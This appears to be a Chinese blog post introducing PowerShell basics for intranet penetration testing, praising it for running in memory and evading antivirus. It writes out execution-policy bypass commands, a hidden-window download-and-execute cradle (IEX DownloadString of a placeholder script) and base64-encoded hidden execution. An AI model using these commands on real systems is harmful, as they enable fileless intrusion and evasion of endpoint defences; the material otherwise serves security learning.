一些最最基础的powershell知识,本来这个我想放在技术文档,但考虑到常规的编程技术并不经常使用powershell,且其在内网渗透中很常用,几乎可以直接起到免杀效果,因此列在内网渗透系列。
1. 优点
- 脚本可以运行在内存,文件不落地
- PS为windows自带功能,几乎不会触发杀软,不易被拦截
- 可以远程执行
- 很多内网渗透工具都是基于Powershell开发的
- 批量便捷执行windows脚本
- 可用于活动目录管理
获取帮助
1 | Get-Help |
查看powershell版本
1 | Get-Host |
2. 基本概念
ps1文件
powershell默认后缀名为.ps1,其实就是命令的集合,类似于.bat和.sh文件
执行策略
默认情况下是不允许执行powershell脚本的,可以通过以下命令查询
1 | Get-ExecutionPolicy |
- Restricted:不允许脚本执行
- Unrestricted:允许所有脚本执行
- RemoteSigned:本地脚本允许执行,网上脚本不允许执行
- AllSigned:受信任的发布者的签名脚本才可执行
运行方式
- 相对路径执行
- 绝对路径执行
管道
和shell的管道差不多的,也是将管道前命令的输出作为管道后命令的输入
3.常用命令
基本知识
powershell的命令基本是以”动词-名词”形式组成,且不区分大小写,以文件操作为例
1 | New-item dirname -itemType Directory //创建文件夹 |
常用命令
绕过本地权限执行本地脚本
1 | powershell.exe -ExecutionPolicy Bypass -File filename |
1 | powershell.exe -exec bypass -Command "& {Import-Module psfile;invoke-Allchecks}" |
下载远程文件并绕过权限执行脚本
1 | powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile-NonI IEX(New-ObjectNet.Webclient).DownloadString("xxx.ps1");[parameters] |
- -ExecutionPolicy Bypass:绕过执行安全策略
- -WindowStyle Hidden:隐藏窗口
- -NoProfile:不加载配置文件
- -NonInteractive:非交互式运行
- -noexit:运行后不退出
- -NoLogo:启动不显示版权标志的powershell
base64编码powershell
1 | powershell.exe -Nop -NonI -W Hidden -Exec Bypass -enc "base64(powershell command)" |
32位PS和64位PS
运行32位powershell脚本
1 | powershell.exe -Nop -NonI -W Hidden -Exec Bypass |
运行64位powershell脚本
1 | %windir%\syswow64\windowspowershell\v1.0\powershell.exe -Nop -NonI -W Hidden -Exec Bypass |
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/08/24/Powershell%E5%9F%BA%E7%A1%80/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/08/24/Powershell%E5%9F%BA%E7%A1%80/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!